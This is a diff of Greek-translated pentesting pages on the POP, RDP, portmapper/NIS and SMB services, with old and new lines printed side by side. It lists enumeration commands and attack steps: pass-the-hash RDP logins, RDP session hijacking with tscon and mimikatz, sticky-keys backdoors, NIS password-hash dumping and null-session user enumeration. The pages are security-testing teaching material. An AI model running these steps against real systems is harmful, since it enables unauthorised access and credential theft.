**Πρωτόκολλο Ταχυδρομείου (POP)** περιγράφεται ως ένα πρωτόκολλο στον τομέα του υπολογιστικού δικτύου και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στη τοπική συσκευή. Τοποθετημένο μέσα στην εφαρμογή του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** περιλαμβάνει συνήθως τη δημιουργία σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Αν και υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση. **Πρωτόκολλο Ταχυδρομείου (POP)** περιγράφεται ως ένα πρωτόκολλο στον τομέα του υπολογιστικού δικτύου και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στη τοπική συσκευή. Τοποθετημένο μέσα στην εφαρμογή του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** περιλαμβάνει συνήθως τη δημιουργία σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Αν και υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, **POP3** ξεχωρίζει ως η πιο ευρέως χρησιμοποιούμενη έκδοση.
**Προεπιλεγμένες θύρες:** 110, 995(ssl) **Προεπιλεγμένες θύρες:** 110, 995(ssl)
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
``` ```
## Αριθμητική ## Enumeration
### Συλλογή Μπανερ ### Banner Grabbing
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
@ -26,7 +26,7 @@ openssl s_client -connect <IP>:995 -crlf -quiet
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
Ο plugin `pop3-ntlm-info` θα επιστρέψει κάποια "**ευαίσθητα**" δεδομένα (εκδόσεις Windows). Ο `pop3-ntlm-info` plugin θα επιστρέψει κάποια "**ευαίσθητα**" δεδομένα (εκδόσεις Windows).
### [POP3 bruteforce](../generic-hacking/brute-force.md#pop) ### [POP3 bruteforce](../generic-hacking/brute-force.md#pop)
@ -87,7 +87,7 @@ Description: Notes for POP
Note: | Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -40,7 +40,7 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP> xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
``` ```
### Έλεγχος γνωστών διαπιστευτηρίων για υπηρεσίες RDP ### Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP
rdp_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP: rdp_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:
```bash ```bash
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Κλοπή συνεδρίας ### Κλοπή συνεδρίας
Με **δικαιώματα SYSTEM** μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου. Με **δικαιώματα SYSTEM** μπορείτε να έχετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου.
**Λάβετε ανοιχτές συνεδρίες:** **Λάβετε ανοιχτές συνεδρίες:**
``` ```
@ -60,11 +60,11 @@ query user
```bash ```bash
tscon <ID> /dest:<SESSIONNAME> tscon <ID> /dest:<SESSIONNAME>
``` ```
Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε μιμηθεί έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows. Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows.
**Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε. **Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.
Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...) Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στον δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
#### **Mimikatz** #### **Mimikatz**
@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session
Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή** Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή**
Μπορείτε να αναζητήσετε RDPs που έχουν υποστεί backdoor με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) Μπορείτε να αναζητήσετε RDPs που έχουν παραβιαστεί με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection ### RDP Process Injection
Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε Admin**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του: Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός:
{{#ref}} {{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: | Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -2,10 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## Basic Information
**Portmapper** είναι μια υπηρεσία που χρησιμοποιείται για την αντιστοίχιση θυρών υπηρεσιών δικτύου σε αριθμούς προγράμματος **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμος παράγοντας σε **Unix-based systems**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** σαρώνεται συχνά από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Unix Operating System (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συνήθως σε συνδυασμό με **NFS (Network File System)**, **NIS (Network Information Service)** και άλλες **RPC-based services** για την αποτελεσματική διαχείριση υπηρεσιών δικτύου. **Portmapper** είναι μια υπηρεσία που χρησιμοποιείται για την αντιστοίχιση θυρών υπηρεσιών δικτύου σε αριθμούς προγράμματος **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμος παράγοντας σε **Unix-based systems**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** σαρώνεται συχνά από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Unix Operating System (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συνήθως σε συνδυασμό με **NFS (Network File System)**, **NIS (Network Information Service)** και άλλες **RPC-based services** για την αποτελεσματική διαχείριση των υπηρεσιών δικτύου.
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris **Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
``` ```
@ -27,7 +26,7 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS ## RPCBind + NFS
Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορείτε να καταγράψετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία: Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορέσετε να καταγράψετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία:
![](<../images/image (872).png>) ![](<../images/image (872).png>)
@ -39,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1
![](<../images/image (859).png>) ![](<../images/image (859).png>)
Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του διακομιστή NIS, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του διακομιστή, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για λόγους ασφαλείας. Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του NIS server, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του server, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για λόγους ασφαλείας.
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κωδικών πρόσβασης χρηστών που είναι κρυπτογραφημένοι. Αυτοί οι κατακερματισμοί, μόλις σπάσουν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια. Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κωδικών πρόσβασης χρηστών που είναι κρυπτογραφημένοι. Αυτοί οι κατακερματισμοί, μόλις σπάσουν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια.
```bash ```bash
@ -69,7 +68,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
## Παράκαμψη Φιλτραρισμένου Portmapper port ## Παράκαμψη Φιλτραρισμένου Portmapper port
Όταν διεξάγετε μια **σάρωση nmap** και ανακαλύπτετε ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). Κατά τη διάρκεια ενός **nmap scan** και ανακαλύπτοντας ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
## Shodan ## Shodan
@ -91,7 +90,7 @@ Description: Notes for PortMapper
Note: | Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2: Entry_2:
Name: rpc info Name: rpc info

View File

@ -4,13 +4,13 @@
## **Port 139** ## **Port 139**
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
Τεχνικά, το Port 139 αναφέρεται ως NBT over IP, ενώ το Port 445 αναγνωρίζεται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. Τεχνικά, η Θύρα 139 αναφέρεται ως NBT over IP, ενώ η Θύρα 445 αναγνωρίζεται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP. Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP.
``` ```
@ -18,7 +18,7 @@
``` ```
### SMB ### SMB
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε ένα **client-server** μοντέλο, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB. Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB εξασφαλίζει συμβατότητα με παλαιότερες εκδόσεις, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB.
Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή. Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή.
@ -26,13 +26,13 @@
Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση:
- Πληροφοριών για το λειτουργικό σύστημα - Πληροφοριών σχετικά με το λειτουργικό σύστημα
- Λεπτομερειών για το γονικό τομέα - Λεπτομερειών σχετικά με το γονικό τομέα
- Συγκέντρωσης τοπικών χρηστών και ομάδων - Συγκέντρωσης τοπικών χρηστών και ομάδων
- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB - Πληροφοριών σχετικά με διαθέσιμες κοινές χρήσεις SMB
- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος - Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευμένου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
@ -52,9 +52,9 @@ enum4linux -a target_ip
```bash ```bash
nbtscan -r 192.168.0.1/24 nbtscan -r 192.168.0.1/24
``` ```
### Έκδοση διακομιστή SMB ### SMB server version
Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να: Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να:
- Χρησιμοποιήσετε το **MSF** auxiliary module \_**auxiliary/scanner/smb/smb_version** - Χρησιμοποιήσετε το **MSF** auxiliary module \_**auxiliary/scanner/smb/smb_version**
- Ή αυτό το script: - Ή αυτό το script:
@ -81,7 +81,7 @@ searchsploit microsoft smb
``` ```
### **Πιθανές** Διαπιστώσεις ### **Πιθανές** Διαπιστώσεις
| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** | | **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** |
| --------------------- | ------------------------------------------ | | --------------------- | ------------------------------------------ |
| _(κενό)_ | _(κενό)_ | | _(κενό)_ | _(κενό)_ |
| guest | _(κενό)_ | | guest | _(κενό)_ |
@ -119,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
``` ```
### Καταμέτρηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών ### Enumerate Users, Groups & Logged On Users
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και το enum4linux-ng. Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng
```bash ```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -139,7 +139,7 @@ enumdomgroups
```bash ```bash
lookupsid.py -no-pass hostname.local lookupsid.py -no-pass hostname.local
``` ```
Μονογραμμή Oneliner
```bash ```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
